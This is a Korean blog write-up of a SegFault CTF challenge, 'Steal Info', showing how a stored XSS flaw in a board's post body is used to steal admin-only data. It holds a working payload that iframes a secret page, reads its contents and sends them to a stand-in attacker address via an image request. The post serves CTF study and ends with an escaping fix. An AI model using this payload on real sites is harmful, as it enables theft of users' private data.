Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (ClientScript) - Steal Info

Gearvirus(junyup2) 2024. 1. 11. 22:52

[SegFault] (ClientScript)

Steal Info

XSS๋ฅผ ์ด์šฉํ•ด ์ค‘์š” ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•ด๋ผ!

๋ฌธ์ œ ํŒŒ์•…

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ XSS ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ , ์ค‘์š” ์ •๋ณด๊ฐ€ ์žˆ๋Š” ํŽ˜์ด์ง€์™€ ๋˜‘๊ฐ™์€ ํŽ˜์ด์ง€์—์„œ ํ•ด๋‹น ์ •๋ณด์˜ document ๊ฐ’์„ ํ™•์ธํ•˜๊ณ , ๊ด€๋ฆฌ์ž Bot์— ํ•ด๋‹น ๋งํฌ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ์‹ค์ œ ์ค‘์š” ์ •๋ณด๊ฐ€ ์žˆ๋Š” ํŽ˜์ด์ง€์˜ ๋™์ผํ•œ ์œ„์น˜์— ์žˆ๋Š” ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ ํ˜„์žฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋ฅผ ๊ฐ–๊ณ  ์žˆ์ง€ ์•Š์œผ๋ฏ€๋กœ RequestBin์„ ์ด์šฉํ•˜๊ธฐ๋กœ ํ•œ๋‹ค.

์šฐ์„  ์œ„์˜ [๊ด€๋ฆฌ์ž ๋ฐฉ๋ฌธ Bot Link]์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ URL ์ž…๋ ฅ์ฐฝ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

XSS ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ ์›ํ•˜๋Š” ์ •๋ณด๋ฅผ ์ฐพ๊ณ  ํ•ด๋‹น ๊ฐ’์„ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•œ ๋งํฌ๋ฅผ ์œ„์˜ URL์— ์ž…๋ ฅํ•˜๋ฉด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„(ReuqestBin)๋กœ ์ •๋ณด๊ฐ€ ๋‚ ์•„์˜ค๋Š” ๋ฐฉ์‹์ด๋‹ค.

๋ฌธ์ œ ๋งํฌ์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

์šฐ์„  ํšŒ์›๊ฐ€์ž… ํ›„ ๋กœ๊ทธ์ธ์„ ์‹œ๋„ํ•ด๋ณธ๋‹ค.

๊ธ€์“ฐ๊ธฐ ๊ธฐ๋Šฅ์—์„œ XSS ๊ฐ€๋Šฅํ•œ Point๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ณธ๋‹ค.

 

XSS Point

์œ„์™€ ๊ฐ™์ด ์Šคํฌ๋ฆฝํŠธ์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋Š” < ' " > ๊ฐ€ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.

์‘๋‹ต(Response)์„ ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ ๊ธ€์˜ ๋‚ด์šฉ ๋ถ€๋ถ„์—์„œ ์ž…๋ ฅ๊ฐ’์ด ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.

 

์ค‘์š” ์ •๋ณด

'์ค‘์š” ์ •๋ณด๊ฐ€ ์žˆ๋Š” ํŽ˜์ด์ง€์™€ ๋˜‘๊ฐ™์€ ํŽ˜์ด์ง€'์— ์ ‘์† ํ•ด๋ณธ๋‹ค.

์œ„์˜ ํŽ˜์ด์ง€์—์„œ ๋‚ด ์ •๋ณด๋ฅผ ๋ณด๋ฉด This is a Very Secret Info. ๋ผ๊ณ  ์“ฐ์—ฌ ์žˆ๋Š” ๊ณณ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ณ , ์ด์— ํ•ด๋‹น ๋ถ€๋ถ„์˜ document๋ฅผ ํ™•์ธํ•ด๋ณธ๋‹ค.

์œ„์™€ ๊ฐ™์€ ๊ตฌ์กฐ์—์„œ ํ•ด๋‹น ๋ถ€๋ถ„์„ ๋ถˆ๋Ÿฌ์˜ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

์‹ค์ œ ์ค‘์š”์ •๋ณด๊ฐ€ ์žˆ๋Š” ํŽ˜์ด์ง€์˜ card-text๋ฅผ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•œ ํŽ˜์ด๋กœ๋“œ(Payload)๋ฅผ ์ž‘์„ฑํ•œ๋‹ค. 

ํŽ˜์ด๋กœ๋“œ(Payload)

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="targetFrame"></iframe> <script> var targetTag = document.getElementById('targetFrame'); targetTag.onload = function(){ var DOMData = targetTag.contentDocument; var secretData = DOMData.getElementsByClassName('card-text')[1].innerHTML; var i = new Image(); i.src = "https://๊ณต๊ฒฉ์ž ์ฃผ์†Œ?secretData="+secretData; } </script>

iframe์„ ์ด์šฉํ•˜์—ฌ ํ•ด๋‹น ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•˜๊ณ  ํ•ด๋‹น ํŽ˜์ด์ง€์˜ ์ค‘์š”์ •๋ณด ๋ถ€๋ถ„์˜ document๋ฅผ ๊ฐ€์ ธ์˜ค๋„๋ก ํ•œ๋‹ค.

 

์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž…

XSS ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๋Š” ๊ธ€์“ฐ๊ธฐ ๊ธฐ๋Šฅ์„ ์ด์šฉํ•˜์—ฌ ํ•ด๋‹น ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ธ€์˜ ๋‚ด์šฉ์— ์‚ฝ์ž…ํ•œ๋‹ค.

ํ•ด๋‹น ๊ธ€์„ ์ฝ๊ธฐ์œ„ํ•ด ์ ‘๊ทผํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ถŒํ•œ์ด ์—†๋‹ค๋Š” ์•Œ๋ฆผ์ฐฝ์ด ๋œฌ๋‹ค. ํ•˜์ง€๋งŒ ์ด๊ฒƒ์„ ๊ด€๋ฆฌ์ž๊ฐ€ ์ ‘๊ทผํ•œ๋‹ค๋ฉด ์œ„์˜ ์Šคํฌ๋ฆฝํŠธ์— ์˜ํ•ด ์›ํ•˜๋Š” ์ •๋ณด๋ฅผ ๊ณต๊ฒฉ์ž ์ฃผ์†Œ๋กœ ๋ณด๋‚ด์ค„ ๊ฒƒ์ด๋‹ค.

์œ„์˜ ๊ธ€์— ์ ‘๊ทผํ•˜๋Š” URL์„ ๊ด€๋ฆฌ์ž Bot์— ๋ณด๋‚ด์ค€๋‹ค.

ํƒˆ์ทจ๋œ ๊ด€๋ฆฌ์ž์˜ ์ค‘์š” ์ •๋ณด๊ฐ€ ๊ณต๊ฒฉ์ž์˜ ์ฃผ์†Œ(RequestBin)์œผ๋กœ ๋ฐ›์•„์™€์ง€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„์™€ ๊ฐ™์ด ์ค‘์š” ์ •๋ณด ๋ถ€๋ถ„์„ ๋ฐ›์•„์˜ค๋Š” ์ผ๋ จ์˜ ๊ณผ์ •์„ ๋‹ด์€ URL๋กœ์˜ ์ ‘์† ์œ ๋„๋ฅผ ํ†ตํ•˜์—ฌ ์›ํ•˜๋Š” flag ๊ฐ’์ด ํš๋“๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ณ ์ฐฐ

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ๊ฒŒ์‹œ๊ธ€์˜ ๋‚ด์šฉ์— ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฝ์ž… ๊ฐ€๋Šฅํ•œ XSS ์ทจ์•ฝ์ ์„ ํ™œ์šฉํ•˜์˜€๋‹ค.
๊ด€๋ฆฌ์ž๊ฐ€ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฝ์ž…๋œ ํŽ˜์ด์ง€๋กœ ์ ‘์†ํ•˜๋„๋ก ์œ ๋„ํ•˜์—ฌ ๊ด€๋ฆฌ์ž๋งŒ ์ ‘์†ํ•  ์ˆ˜ ์žˆ๋Š” ํŽ˜์ด์ง€์˜ ์ •๋ณด๋ฅผ ๋นผ์˜ค๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•˜์˜€๋Š”๋ฐ, ๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ํ•ด๋‹น ํŽ˜์ด์ง€์™€ ๋˜‘๊ฐ™์€ ํŽ˜์ด์ง€ ์ •๋ณด๋ฅผ ์•Œ๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์‰ฝ๊ฒŒ ์ •๋ณด์˜ document๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค.
์œ„์™€ ๊ฐ™์ด XSS ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๋ฉด iframe์„ ์ด์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋กœ์˜ ์ ‘์†์„ ์œ ๋„ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, HTML Entity๋ฅผ ์ด์šฉํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋Š” ํŠน์ˆ˜๋ฌธ์ž๋“ค์„ ๋ณ€ํ™˜ํ•ด์ฃผ๋„๋ก ํ•ด์•ผํ•œ๋‹ค.

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜